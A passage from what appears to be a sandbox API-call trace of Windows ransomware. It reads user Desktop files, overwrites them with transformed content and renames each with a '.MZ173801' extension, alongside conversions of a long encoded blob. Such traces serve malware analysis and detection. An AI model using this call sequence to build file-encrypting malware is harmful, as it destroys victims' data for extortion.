REI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pVjAn4Y7HQcGd.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pvjan4y7hqcgd.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.942] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.942] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.942] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xd1f5 [0144.942] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.942] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0xd1f5, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xd1f5, lpOverlapped=0x0) returned 1 [0144.943] CloseHandle (hObject=0x224) returned 1 [0144.944] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pVjAn4Y7HQcGd.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pvjan4y7hqcgd.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.946] WriteFile (in: hFile=0x224, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xd1f5, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f99c*=0xd1f5, lpOverlapped=0x0) returned 1 [0144.948] CloseHandle (hObject=0x224) returned 1 [0144.949] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pVjAn4Y7HQcGd.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pvjan4y7hqcgd.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pVjAn4Y7HQcGd.mkv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pvjan4y7hqcgd.mkv.mz173801")) returned 1 [0144.951] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sfhZtiKbQnGLPr R3pW5.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sfhztikbqnglpr r3pw5.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf608520, ftCreationTime.dwHighDateTime=0x1d5dcb4, ftLastAccessTime.dwLowDateTime=0xab240c80, ftLastAccessTime.dwHighDateTime=0x1d5e73f, ftLastWriteTime.dwLowDateTime=0xab240c80, ftLastWriteTime.dwHighDateTime=0x1d5e73f, nFileSizeHigh=0x0, nFileSizeLow=0xb564)) returned 1 [0144.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.955] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sfhZtiKbQnGLPr R3pW5.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sfhztikbqnglpr r3pw5.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.955] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.955] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.955] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xb564 [0144.955] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.955] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0xb564, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xb564, lpOverlapped=0x0) returned 1 [0144.956] CloseHandle (hObject=0x224) returned 1 [0144.957] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sfhZtiKbQnGLPr R3pW5.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sfhztikbqnglpr r3pw5.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.959] WriteFile (in: hFile=0x224, lpBuffer=0x720540*, nNumberOfBytesToWrite=0xb564, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x720540*, lpNumberOfBytesWritten=0x18f99c*=0xb564, lpOverlapped=0x0) returned 1 [0144.961] CloseHandle (hObject=0x224) returned 1 [0144.962] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sfhZtiKbQnGLPr R3pW5.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sfhztikbqnglpr r3pw5.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sfhZtiKbQnGLPr R3pW5.bmp.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sfhztikbqnglpr r3pw5.bmp.mz173801")) returned 1 [0144.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w0uRZSuowOKzyGbEL2.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w0urzsuowokzygbel2.ppt"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45dc6d0, ftCreationTime.dwHighDateTime=0x1d5e3e3, ftLastAccessTime.dwLowDateTime=0xd66f1f50, ftLastAccessTime.dwHighDateTime=0x1d5d8b3, ftLastWriteTime.dwLowDateTime=0xd66f1f50, ftLastWriteTime.dwHighDateTime=0x1d5d8b3, nFileSizeHigh=0x0, nFileSizeLow=0x6730)) returned 1 [0144.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 